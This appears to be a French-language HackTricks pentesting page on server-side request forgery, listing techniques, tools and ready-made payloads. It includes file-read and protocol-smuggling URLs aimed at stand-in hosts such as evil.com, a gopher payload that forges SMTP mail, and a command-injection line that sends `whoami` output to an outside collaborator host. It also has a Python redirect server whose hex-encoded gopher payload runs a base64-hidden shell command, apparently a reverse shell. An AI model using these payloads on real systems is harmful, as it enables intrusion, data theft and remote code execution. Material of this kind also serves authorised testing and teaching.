hacktricks/pentesting-web/ssrf-server-side-request-forgery
2023-12-25 18:00:00 +00:00
..
cloud-ssrf.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:33:38 +00:00
README.md Translated ['pentesting-web/ssrf-server-side-request-forgery/README.md', 2023-12-25 18:00:00 +00:00
ssrf-vulnerable-platforms.md Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi 2023-12-16 14:33:49 +00:00
url-format-bypass.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:33:38 +00:00

SSRF (Falsification de Requête Côté Serveur)


Utilisez Trickest pour construire et automatiser des workflows grâce aux outils communautaires les plus avancés.
Obtenez l'accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

La falsification de requête côté serveur (également connue sous le nom de SSRF) est une vulnérabilité de sécurité web qui permet à un attaquant d'induire l'application côté serveur à effectuer des requêtes HTTP vers un domaine arbitraire de son choix. (Depuis ici)

Capture SSRF

La première chose à faire est de capturer une interaction SSRF provoquée par vous. Pour capturer une interaction HTTP ou DNS, vous pouvez utiliser des outils tels que :

Contournement de Domaines Autorisés

Habituellement, vous constaterez que le SSRF ne fonctionne que dans certains domaines autorisés ou URL. Dans la page suivante, vous avez une compilation de techniques pour essayer de contourner cette liste blanche :

{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}

Contournement via redirection ouverte

Si le serveur est correctement protégé, vous pourriez contourner toutes les restrictions en exploitant une Redirection Ouverte à l'intérieur de la page web. Parce que la page web permettra le SSRF au même domaine et suivra probablement les redirections, vous pouvez exploiter la Redirection Ouverte pour faire accéder le serveur à n'importe quelle ressource interne.
Lire plus ici : https://portswigger.net/web-security/ssrf

Protocoles

file://

file:///etc/passwd

dict://

Le schéma d'URL DICT est utilisé pour faire référence à des définitions ou des listes de mots disponibles en utilisant le protocole DICT :

dict://<user>;<auth>@<host>:<port>/d:<word>:<database>:<n>
ssrf.php?url=dict://attacker:11111/

SFTP://

Un protocole réseau utilisé pour le transfert de fichiers sécurisé via secure shell

ssrf.php?url=sftp://evil.com:11111/

TFTP://

Trivial File Transfer Protocol, fonctionne sur UDP

ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET

LDAP://

Lightweight Directory Access Protocol. C'est un protocole d'application utilisé sur un réseau IP pour gérer et accéder au service d'annuaire distribué.

ssrf.php?url=ldap://localhost:11211/%0astats%0aquit

Gopher://

En utilisant ce protocole, vous pouvez spécifier l'IP, le port et les octets que vous souhaitez que le serveur envoie. Ensuite, vous pouvez essentiellement exploiter un SSRF pour communiquer avec n'importe quel serveur TCP (mais vous devez d'abord savoir comment parler au service).
Heureusement, vous pouvez utiliser Gopherus pour créer des charges utiles pour plusieurs services. De plus, remote-method-guesser peut être utilisé pour créer des charges utiles gopher pour les services Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Connexion inverse au port 1337

{% code title="redirect.php" %}

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

{% endcode %}

SMTP

D'après https://twitter.com/har1sec/status/1182255952055164929 :
1. se connecter avec SSRF sur smtp localhost:25
2. à partir de la première ligne, obtenir le nom de domaine interne 220 http://blabla.internaldomain.com ESMTP Sendmail
3. rechercher http://internaldomain.com sur github, trouver des sous-domaines
4. se connecter

Curl URL globbing - contournement de WAF

Si le SSRF est exécuté par curl, curl a une fonctionnalité appelée URL globbing qui pourrait être utile pour contourner les WAFs. Par exemple, dans ce writeup, vous pouvez trouver cet exemple pour une traversée de chemin via le protocole file :

file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}

Capture des requêtes SSRF

SSRF via l'en-tête Referrer

Certaines applications utilisent des logiciels d'analyse côté serveur qui suivent les visiteurs. Ces logiciels enregistrent souvent l'en-tête Referrer des requêtes, car cela présente un intérêt particulier pour le suivi des liens entrants. Souvent, le logiciel d'analyse visitera réellement toute URL tierce qui apparaît dans l'en-tête Referrer. Cela est généralement fait pour analyser le contenu des sites référents, y compris le texte d'ancrage utilisé dans les liens entrants. En conséquence, l'en-tête Referer représente souvent une surface d'attaque fructueuse pour les vulnérabilités SSRF.
Pour découvrir ce type de vulnérabilités "cachées", vous pourriez utiliser le plugin "Collaborator Everywhere" de Burp.

SSRF via les données SNI du certificat

La configuration la plus simple qui vous permettrait de vous connecter à un backend arbitraire ressemblerait à ceci :

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Ici, la valeur du champ SNI est utilisée directement comme adresse du backend.

Avec cette configuration non sécurisée, nous pouvons exploiter la vulnérabilité SSRF simplement en spécifiant l'IP ou le nom de domaine désiré dans le champ SNI. Par exemple, la commande suivante forcerait Nginx à se connecter à internal.host.com :

openssl s_client -connecttarget.com:443 -servername "internal.host.com" -crlf

Téléversement de fichier avec Wget

SSRF avec Injection de Commande

Il pourrait être intéressant d'essayer un payload comme : url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Rendu de PDFs

Si la page web crée automatiquement un PDF avec des informations que vous avez fournies, vous pouvez insérer du JS qui sera exécuté par le créateur de PDF lui-même (le serveur) pendant la création du PDF et vous pourrez exploiter une SSRF. Trouvez plus d'informations ici.

De SSRF à DoS

Créez plusieurs sessions et essayez de télécharger des fichiers lourds en exploitant la SSRF depuis les sessions.

Fonctions PHP SSRF

{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}

SSRF Redirection vers Gopher

Pour certaines exploitations, vous pourriez avoir besoin d'envoyer une réponse de redirection (potentiellement pour utiliser un protocole différent comme gopher). Voici différents codes python pour répondre avec une redirection :

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
## Contournement de CORS/SOP avec DNS Rebidding

Si vous rencontrez des **problèmes** pour **exfiltrer le contenu d'une IP locale** à cause de **CORS/SOP**, le **DNS Rebidding** peut être utilisé pour contourner cette limitation :

{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md)
{% endcontent-ref %}

### DNS Rebidding Automatisé

[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) est un outil pour réaliser des attaques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS_rebinding). Il inclut les composants nécessaires pour relier l'adresse IP de la machine cible au nom DNS du serveur d'attaque et pour servir des charges utiles d'attaque afin d'exploiter des logiciels vulnérables sur la machine cible.

Découvrez également le **serveur public en cours d'exécution sur** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)****

## DNS Rebidding + ID de session TLS/Ticket de session

Prérequis :

* **SSRF**
* **Sessions TLS sortantes**
* **Éléments sur les ports locaux**

Attaque :

1. Demander à l'utilisateur/robot **d'accéder** à un **domaine** contrôlé par l'**attaquant**
2. Le **TTL** du **DNS** est de **0** sec (ainsi la victime vérifiera à nouveau l'IP du domaine bientôt)
3. Une **connexion TLS** est créée entre la victime et le domaine de l'attaquant. L'attaquant introduit la **charge utile à l'intérieur** de l'**ID de session ou du Ticket de session**.
4. Le **domaine** commencera une **boucle infinie** de redirections contre **lui-même**. Le but est de faire accéder l'utilisateur/robot au domaine jusqu'à ce qu'il effectue **à nouveau** une **requête DNS** du domaine.
5. Dans la requête DNS, une **adresse IP privée** est donnée **maintenant** (127.0.0.1 par exemple)
6. L'utilisateur/robot essaiera de **rétablir la connexion TLS** et pour ce faire, il **envoiera** l'**ID de session**/Ticket ID (où la **charge utile** de l'attaquant était contenue). Donc félicitations, vous avez réussi à demander à l'**utilisateur/robot de s'attaquer lui-même**.

Notez que pendant cette attaque, si vous voulez attaquer localhost:11211 (_memcache_), vous devez faire établir la connexion initiale avec www.attacker.com:11211 (le **port doit toujours être le même**).\
Pour **réaliser cette attaque, vous pouvez utiliser l'outil** : [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Pour **plus d'informations**, regardez la conférence où cette attaque est expliquée : [https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)

## SSRF Aveugle

La différence entre un SSRF aveugle et un non aveugle est que dans le SSRF aveugle, vous ne pouvez pas voir la réponse de la requête SSRF. Il est donc plus difficile à exploiter car vous ne pourrez exploiter que des vulnérabilités bien connues.

### SSRF basé sur le temps

**Vérifier le temps** des réponses du serveur pourrait **permettre de savoir si une ressource existe ou non** (peut-être qu'il faut plus de temps pour accéder à une ressource existante que pour une qui n'existe pas)

## Exploitation de SSRF dans le Cloud

Si vous trouvez une vulnérabilité SSRF dans une machine fonctionnant dans un environnement cloud, vous pourriez être capable d'obtenir des informations intéressantes sur l'environnement cloud et même des identifiants :

{% content-ref url="cloud-ssrf.md" %}
[cloud-ssrf.md](cloud-ssrf.md)
{% endcontent-ref %}

## Plateformes Vulnérables à SSRF

Plusieurs plateformes connues contiennent ou ont contenu des vulnérabilités SSRF, vérifiez-les dans :

{% content-ref url="ssrf-vulnerable-platforms.md" %}
[ssrf-vulnerable-platforms.md](ssrf-vulnerable-platforms.md)
{% endcontent-ref %}

## Outils

### [**SSRFMap**](https://github.com/swisskyrepo/SSRFmap)

Outil pour détecter et exploiter les vulnérabilités SSRF

### [Gopherus](https://github.com/tarunkant/Gopherus)

* [Article de blog sur Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)

Cet outil génère des charges utiles Gopher pour :

* MySQL
* PostgreSQL
* FastCGI
* Redis
* Zabbix
* Memcache

### [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)

* [Article de blog sur l'utilisation de SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)

_remote-method-guesser_ est un scanner de vulnérabilités _Java RMI_ qui prend en charge les opérations d'attaque pour la plupart des vulnérabilités _Java RMI_ courantes. La plupart des opérations disponibles supportent l'option `--ssrf`, pour générer une charge utile _SSRF_ pour l'opération demandée. Avec l'option `--gopher`, des charges utiles _gopher_ prêtes à l'emploi peuvent être générées directement.

### [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)

SSRF Proxy est un serveur proxy HTTP multi-thread conçu pour acheminer le trafic HTTP client à travers des serveurs HTTP vulnérables à la falsification de requête côté serveur (SSRF).

### Pour pratiquer

{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}

## Références

* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
* [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>